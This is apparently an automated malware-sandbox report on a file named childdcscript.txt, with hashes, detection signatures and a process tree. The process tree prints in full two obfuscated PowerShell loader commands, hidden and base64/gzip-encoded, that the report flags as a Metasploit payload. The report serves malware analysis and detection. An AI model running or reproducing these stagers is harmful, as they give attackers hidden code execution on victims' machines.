Analysis

  • max time kernel
    65s
  • max time network
    66s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240419-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
  • submitted
    01-05-2024 20:05

General

  • Target

    childdcscript.txt

  • Size

    5KB

  • MD5

    9dcd8c31fcc65e9e14bd72531472c733

  • SHA1

    970d196acc1a24171a6d1942dd1da284feae199c

  • SHA256

    7edf5852e1c1d236e60bb14aea151f44413c0a3cc7da903345ca39dc0222066c

  • SHA512

    46317ddc7dfe9e71ca31fc6125119cfe212e48925469e8a18e09fe10188a85b5baa5b3f692e6a2ce32319e69f010021ab91cf24ab78b1e6cce7b7d417146ada1

  • SSDEEP

    96:nnn2hhFPxohwFWujnZ+vFB9j+FbRGlts7QWRPtcN6yJ6HZYF+1f1mpoMu4lnWIN/:nn2hhFPxohwFWujQv5yqqQWRFcPJhFG2

Malware Config

Signatures

  • MetaSploit

    Detected malicious payload which is part of the Metasploit Framework, likely generated with msfvenom or similar.

  • Opens file in notepad (likely ransom note) 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 5 IoCs

Processes

  • C:\Windows\system32\NOTEPAD.EXE
    C:\Windows\system32\NOTEPAD.EXE C:\Users\Admin\AppData\Local\Temp\childdcscript.txt
    1⤵
    • Opens file in notepad (likely ransom note)
    PID:1116
  • C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4772
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -nop -w hidden -noni -e aQBmACgAWwBJAG4AdABQAHQAcgBdADoAOgBTAGkAegBlACAALQBlAHEAIAA0ACkAewAkAGIAPQAnAHAAbwB3AGUAcgBzAGgAZQBsAGwALgBlAHgAZQAnAH0AZQBsAHMAZQB7ACQAYgA9ACQAZQBuAHYAOgB3AGkAbgBkAGkAcgArACcAXABzAHkAcwB3AG8AdwA2ADQAXABXAGkAbgBkAG8AdwBzAFAAbwB3AGUAcgBTAGgAZQBsAGwAXAB2ADEALgAwAFwAcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlACcAfQA7ACQAcwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEQAaQBhAGcAbgBvAHMAdABpAGMAcwAuAFAAcgBvAGMAZQBzAHMAUwB0AGEAcgB0AEkAbgBmAG8AOwAkAHMALgBGAGkAbABlAE4AYQBtAGUAPQAkAGIAOwAkAHMALgBBAHIAZwB1AG0AZQBuAHQAcwA9ACcALQBuAG8AbgBpACAALQBuAG8AcAAgAC0AdwAgAGgAaQBkAGQAZQBuACAALQBjACAAJgAoAFsAcwBjAHIAaQBwAHQAYgBsAG8AYwBrAF0AOgA6AGMAcgBlAGEAdABlACgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AUwB0AHIAZQBhAG0AUgBlAGEAZABlAHIAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgALABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACcAJwBIADQAcwBJAEEATQBvAE0AdQBWAHcAQwBBADcAVgBXAGEAVwAvAGIATwBCAEQAOQBuAEEARAA1AEQAMABKAGgAUQBCAEsAcQArAEUAagBjAGQAaABzAGcAdwBGAEkAKwA1AFYAaQBKAEgAYwBWAFgAdgBNAGEAQwBrAFMAaQBaAE4AaQBVADYARgBCAFUAZgAzAGYANwAzAEgAZABsAFMAawBxAEwAcABiAHIAdgBBAEMAagBaAE0AawBYAE8AKwBlAFoAeQB4AG4AMABTAHUAcABEAHgAUwBmAE0AZABUAHYAcAB3AGMASAAvAFcAdwB3AEsARwBpAEYAYgBiAFUAcwB3AHkAbABJAEYAaAB5AHAAeAA4AGQAdwBVAEYAaABZAFkANgBYAFoAZQBWAFMAMABhAFoAbwB0AGEAcgB6AEUATgBOAG8AZABuAEYAUgBTADQAUQBnAGsAVAB5ADgARgAxAHQARQBvAGoAZwBtADQAUQBPAGoASgBOAFoAMAA1AFMAOQBsAE4AQwBlAEMAbgBOADQAOABMAEkAZwByAGwAUwA5AEsANABjADkAaQBpAC8ARQBIAHoARABLAHgAYgBRADIANwBjADYASwBjAG8AcwBoAEwAegA3AHIAYwB4AFcAawA0AFIAVwBmAEYAcQBOAFQAVQBQAC8ANQBRADkAZQBsAHAAWgBWAFoAcwBQAEMAYQBZAHgAWgByAHEAYgBHAE4ASgB3AHEATABIAG0ASwBvAHIAWAAvAFgAVQA0AGQAMQAyAFIAVABUAFYAcABxADcAZwBNAGYAZABsAGMAVQBTAGoAOAA3AFAAaQBJAEkAcQB4AFQANgA3AEIAMgBoAE8AeABpAFoAeAB6AEwAMQBaADEAUwBBAE0AKwBnAHMAaABFAFIATQBvAGgAbwBkAFQAQwA0AFYAeABUAFkAZABrAFQAMwBFAFcAZQBKADAAZwBjAHEANABZAHkAVABXADEAUABaADcAUABmAHQAVwBuAG0AKwBEAGEASgBKAEEAMQBKADAAWQBvAGsARQBYAHoAbABFAFAARgBFAFgAUgBJAFgAMgB6AGoAeQBHAEwAawBsAC8AZwB5ADAASABDAGwAbwBGAE0AeAAwAEgAYwBTAGUAKwBKAEoAbwBoAFMAaABoAHoARgBCACsAeABZAHgAMgBUAGQAWQA1AGIARAArAHIAcABMADEAVwBBAHEAbQBlAEYATABvAEIAdABYAHcAcgBVAFoAdAA3AEMAUwBNAEgAVgBmAFcATgBTAFAAYwBFADAATwBIAEoAUwBRAEQAZwBmAFQAMAA1AFAAagBuADIAYwA4AGEARQA5AEcAegA3AG0AagBLAHcATwBwAHIAdQAxAHcAVABpADAAMwBvADgAcABuAHUANQBTADYAVgBzAEsARABZADQAdwBwAEsATABMAGIAdwBXADcAawBSAEMAOQBOAGsAegB1AHUAQQBBAEcAVAAvAFcAcgB1AFMAaQBJAEoAaABVAEoATwB4AE0AaAA1AHgANgBNADkARABJAEMAbABwAHcAbgAzADYATABQADYAYwBIAFAAMgBaAG0AbgBmAGcAMABJAHYAVgB0AGgARQBQAHEANQB1AFQAVAAzAGsASwBaACsASQB6AHMATQB5AHoAbQBZAHQAYwBRAGwASwBaAG0AQgA4AFMAcgBFADAAWQBDAEwARgBQAFkAMABtAEoALwBwADkAWQBJAHEAWAB6AFcATgBSAFAASwBQAEMASwBRAEMANQBXAEsASQBTAG8AbwBvAHYANQB0AE0ASQBkAEsAYQBLAG8AVgAyAFMAUQBFAGgAQQA3AHYAdwBMADYAQwBEADUAUQBuAHUAWABSAEcAOAAyADMAdQBQAFgAMABIAEkAYgBYAEcAYwBCAHcAYgBTAGkAKwBCAE8AKwBjAGEAaQBrAE0AdwBJADUANgBoAG8AQwBpAG0AMgBSAEYASwBKAE4AOAB2ADEAWgBkAHcANwBZAFIASgA2AHUASgBZADUAdQBaAG0AKwBqAE8AUQBtAGMATQBhAGoAMgBJAHAARQBoAGUAcQBCAHMAbgBmAE8AUwB2AGkAVQBzAHgAUwBMAEEAeQBsAFQAVAAxAGkAYgBoADAAYQA1AEkANwBWAE4ANQBHAG8AWQBjAGIAZwBKAG8AQwBsAEoANgBnAEUANwBLAFEASQBPAEQATABsAGcAdgBCAFMAWQBpAEcAOQA2AEIAQgBwAGgAUwB0AEcAUQBwAEQAWQAzAC8AMABtAHcAdwBIAGMAOQBJAHoAdABlACsAcgBnAGcASABqAHEAZAB3AEgAbQBiAEQANQBRAE4AOABVAGkAQgArAEYAVgBlAEYAQgBnAGgAMwBGAHAASwBFAE0AcQBKAFAAUwBRAEYARgBkAGcAMABYADkAeAAvAHEAcAAxAEgATQBLAG8AQwBaAEkAVgBRAHMAdAB2AHgAOQBUAGMAeQBwAFQAVABoAGYAbQBtADIAcgB0AE8ASwBaAG0AaABzAHMAZABBAFMATQBpAC8ASwBYAGgAbwA0AHAAaAA4AHIAQgA3ADYAaABQAGEAdQBkAEUATgByAEMASgA2AEoARgBUAEgAYgBOAFoAZQAwAGcAdABhADAAWQB0AG4AdwBIAGQAQgB6AGkAOQBjAC8AZQBWAGUAZABSAGIAcwBrADYAcAB1ADUAagA2AHoAWQBzAHQAdQA5AGUAcgAvAGQAcgBqADUAMQBuAEcARgBWAE8AZwAxAEwAWAB2AFUAcwBhAFQAZgBHAGkANABXAEQAMgByAGUARABpAGIAeQAzAFUAUAB1AE8AbABwAGUAVAA2AG0ANwBWAG8AVAB1AG4AaQA3AHoASgBwAHYAUgB4AFoAKwA3AFcAWgBYAE8AegBXAHcAUwBlAFAANgBuADcAZgB2AEQASgBkADIANAByAEgANQBxADAATwA2AHIAMQB6AGYASQBaADcAdABZAGIAUwBYAGQAawByAHMAMQB5AE4AVwA3AFEAZABiAHQAUABCAC8AMQBsAHAAeQBrAGYASgBrAE8ARwBCADMANABwAEcARgBjACsAWQA3AHIAcABpAHMAVwB3AHcAdQAyAGQAaABWAEIAcgBmAHUANwB1AE8AdgA2AHcATgBiAGUAOQA3AGEAUgBOAHkAYQBKAFUANwB0AEkAKwA2AGkATgAwADUAZAA0AE8AQgBxADEAZwBGAGIAUgBpAFYAUABvADgAZgBFAFMAagA0AE8AbwBlAFMAWQBhAFIAaABTAHcAeAA2AG4AeABnAFoAbgAvAFEATgBOAEcAZwBZAGYAYgB4AEQAZQArAGQAdgA2ACsAWABLAHYAZgBlAFkANgBOADUAUAA4AGEAZABrAEgAbQB0AGQAcQBrAHkARwBTAE0AUAA3AFUAcAAzAHcAYgB6AHkAcQBiAFYAWQBTADkAdwBaADcAVwAyADEAZQBHAFAASQBQAEkANQBrAFoASQAxAEwAcABTAEgAZAAzAFQALwAyAFcAdwBGAHEAQQBJADcARABrAEMAUABjAHAATQB2AEIAKwB6AEgAWQB1ADcANwBEAGcAVABrAGEAVgBGADUAawBrAFcAdQB2AE4AdABFADQAVwBhADgAdgBMADkAKwBsAGwAWQBYAFMARgBxAEoAbQByAC8AZgB4AFYAYwBGACsAMQBHADEAdABMAE8ASQA1AFoAbABCAEkANgBLAEwANQA3AFcAbAB5ADAAYwB6ADYAWQBvAC8AVABWAEUAUABUADAAbwBtADYASgBDAEkAaQBEAE0AWQBSAEQASwB5AGMAZwBZAGcAeAA3AHEAWgA5AGUAZAA5AEEAWQBTAFkAYwBPAG4AVQA2AE8AQQBhAHcAUABEADkANwBjADYAVQByAHoANABMADYAUwA3AHYATwB0AHkANAB1ADcAaQBGAEkASQBQAFcAZQBkAHMAVQB1AGkAUQBJADUATgA4AHEAYgA4ADMASQBaAG0AbQA5ADUAVQB5ADEARABtAGoAKwBmAFcAWQAyAHYAdAB0AHIAQgBsAHAARgAyADcAdwBNADQAegArAGIAWgAzAHIAeQBlADgAcgAzAGcAeABlAFgALwBGAGIAVABzAGoAcwAzAGgAeAAvAHMAMwAwAEYANwAyAC8AdQBIADAAcAA0AEEAcwBHADEAbgBLADMAKwAxAC8AdQAvAEYATABxAFAANQBxADYAaQBOAE0ASgBRAGcANgAwAEMATQBZAE8AUQB5AHAAdAB4AEgASQBHAFAASgBxAGkAawBOAFYAbwBQAHAAKwA5AHEAVAAvAHcAMgA0AFMAZQBYAG8ATgBzAC8AMwBrACsARwArAHYAOABWADMASgA4AHcAawBBAEEAQQA9AD0AJwAnACkAKQApACwAWwBJAE8ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ALgBDAG8AbQBwAHIAZQBzAHMAaQBvAG4ATQBvAGQAZQBdADoAOgBEAGUAYwBvAG0AcAByAGUAcwBzACkAKQApAC4AUgBlAGEAZABUAG8ARQBuAGQAKAApACkAKQAnADsAJABzAC4AVQBzAGUAUwBoAGUAbABsAEUAeABlAGMAdQB0AGUAPQAkAGYAYQBsAHMAZQA7ACQAcwAuAFIAZQBkAGkAcgBlAGMAdABTAHQAYQBuAGQAYQByAGQATwB1AHQAcAB1AHQAPQAkAHQAcgB1AGUAOwAkAHMALgBXAGkAbgBkAG8AdwBTAHQAeQBsAGUAPQAnAEgAaQBkAGQAZQBuACcAOwAkAHMALgBDAHIAZQBhAHQAZQBOAG8AVwBpAG4AZABvAHcAPQAkAHQAcgB1AGUAOwAkAHAAPQBbAFMAeQBzAHQAZQBtAC4ARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAHQAYQByAHQAKAAkAHMAKQA7AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:760
      • C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" -noni -nop -w hidden -c &([scriptblock]::create((New-Object IO.StreamReader(New-Object IO.Compression.GzipStream((New-Object IO.MemoryStream(,[Convert]::FromBase64String('H4sIAMoMuVwCA7VWaW/bOBD9nAD5D0JhQBKq+EjcdhsgwFI+5ViJHcVXvMaCkSiZNiU6FBUf3f73HdlSkqLpbrvACjZMkXO+eZyxn0SupDxSfMdTvpwcH/WwwKGiFbbUswylIFhypx8dwUFhYY6XZeVS0aZotarzENNodnFRS4QgkTy8F1tEojgm4QOjJNZ05S9lNCeCnN48LIgrlS9K4c9ii/EHzDKxbQ27c6KcoshLz7rcxWk4RWfFqNTUP/5Q9elpZVZsPCaYxZrqbGNJwqLHmKorX/XU4d12RTTVpq7gMfdlcUSj87PiIIqxT67B2hOxiZxzL1Z1SAM+gshERMohodTC4VxTYdkT3EWeJ0gcq4YyTW1PZ7PftWnm+DaJJA1J0YokEXzlEPFEXRIX2zjyGLkl/gy0HCloFMx0HcSe+JJohShhzFB+xYx2TdY5bD+rpL1WAqmeFLoBtXwrUZt7CSMHVfWNSPcE0OHJSQDgfT05Pjn2c8aE9Gz7mjKwOpru1wTi03o8pnu5S6VsKDY4wpKLLbwW7kRC9NkzuuAAGT/WruSiIJhUJOxMh5x6M9DIClpwn36LP6cHP2Zmnfg0IvVthEPq5uTT3kKZ+IzsMyzmYtcQlKZmB8SrE0YCLFPY0mJ/p9YIqXzWNRPKPCKQC5WKISooov5tMIdKaKoV2SQEhA7vwL6CD5QnuXRG823uPX0HIbXGcBwbSi+BO+caikMwI56hoCim2RFKJN8v1Zdw7YRJ6uJY5uZm+jOQmcMaj2IpEheqBsnfOSviUsxSLAylTT1ibh0a5I7VN5GoYcbgJoClJ6gE7KQIODLlgvBSYiG96BBphStGQpDY3/0mwwHc9Izte+rggHjqdwHmbD5QN8UiB+FVeFBgh3FpKEMqJPSQFFdg0X9x/qp1HMKoCZIVQstvx9TcypTThfmm2rtOKZmhssdASMi/KXho4ph8rB76hPaudENrCJ6JFTHbNZe0gta0YtnwHdBzi9c/eVedRbsk6pu5j6zYstu9er/drj51nGFVOg1LXvUsaTfGi4WD2reDiby3UPuOlpeT6m7VoTuni7zJpvRxZ+7WZXOzWwSeP6n7fvDJd24rH5q0O6r1zfIZ7tYbSXdkrs1yNW7QdbtPB/1lpykfJkOGB34pGFc+Y7rpisWwwu2dhVBrfu7uOv6wNbe97aRNyaJU7tI+6iN05d4OBq1gFbRiVPo8fESj4OoeSYaRhSwx6nxgZn/QNNGgYfbxDe+dv6+XKvfeY6N5P8adkHmtdqkyGSMP7Up3wbzyqbVYS9wZ7W21eGPIPI5kZI1LpSHd3T/2WwFqAI7DkCPcpMvB+zHYu77DgTkaVF5kkWuvNtE4Wa8vL9+llYXSFqJmr/fxVcF+1G1tLOI5ZlBI6KL57Wly0cz6Yo/TVEPT0om6JCIiDMYRDKycgYgx7qZ9ed9AYSYcOnU6OAawPD97c6Urz4L6S7vOty4u7iFIIPWedsUuiQI5N8qb83IZmm95Uy1Dmj+fWY2vttrBlpF27wM4z+bZ3rye8r3gxeX/FbTsjs3hx/s30F72/uH0p4AsG1nK3+1/u/FLqP5q6iNMJQg60CMYOQyptxHIGPJqikNVoPp+9qT/w24SeXoNs/3k+G+v8V3J8wkAAA=='))),[IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3184

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
    Filesize

    1KB

    MD5

    3db5a3b556b01c59c5812cb86abb674e

    SHA1

    3848e5419d5c47879f159247e4f1b08005674cf0

    SHA256

    218d487f881ce9640acd16f7476b445471b83671569e99973f77d0bbf6c42ffa

    SHA512

    3eb6575d3e476053a65b2631b0cd0d584056ca476058ee2706c69fe10b0502460c40f8985f1f4666e42fba2809924f6dc34ba2e9b2629217542e45cb3640adcd

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3kgk5tzi.kgk.ps1
    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/760-12-0x00007FFEC2D20000-0x00007FFEC37E1000-memory.dmp
    Filesize

    10.8MB

  • memory/760-1-0x00000280D06C0000-0x00000280D06E2000-memory.dmp
    Filesize

    136KB

  • memory/760-0-0x00007FFEC2D23000-0x00007FFEC2D25000-memory.dmp
    Filesize

    8KB

  • memory/760-15-0x00007FFEC2D20000-0x00007FFEC37E1000-memory.dmp
    Filesize

    10.8MB

  • memory/760-11-0x00007FFEC2D20000-0x00007FFEC37E1000-memory.dmp
    Filesize

    10.8MB

  • memory/3184-16-0x0000000002AE0000-0x0000000002B16000-memory.dmp
    Filesize

    216KB

  • memory/3184-18-0x0000000005570000-0x0000000005592000-memory.dmp
    Filesize

    136KB

  • memory/3184-20-0x0000000005DD0000-0x0000000005E36000-memory.dmp
    Filesize

    408KB

  • memory/3184-19-0x0000000005D60000-0x0000000005DC6000-memory.dmp
    Filesize

    408KB

  • memory/3184-26-0x0000000005E40000-0x0000000006194000-memory.dmp
    Filesize

    3.3MB

  • memory/3184-17-0x00000000055C0000-0x0000000005BE8000-memory.dmp
    Filesize

    6.2MB

  • memory/3184-32-0x0000000006420000-0x000000000643E000-memory.dmp
    Filesize

    120KB

  • memory/3184-33-0x0000000006450000-0x000000000649C000-memory.dmp
    Filesize

    304KB

  • memory/3184-34-0x0000000007D50000-0x00000000083CA000-memory.dmp
    Filesize

    6.5MB

  • memory/3184-35-0x0000000006910000-0x000000000692A000-memory.dmp
    Filesize

    104KB

  • memory/3184-36-0x0000000006A10000-0x0000000006A11000-memory.dmp
    Filesize

    4KB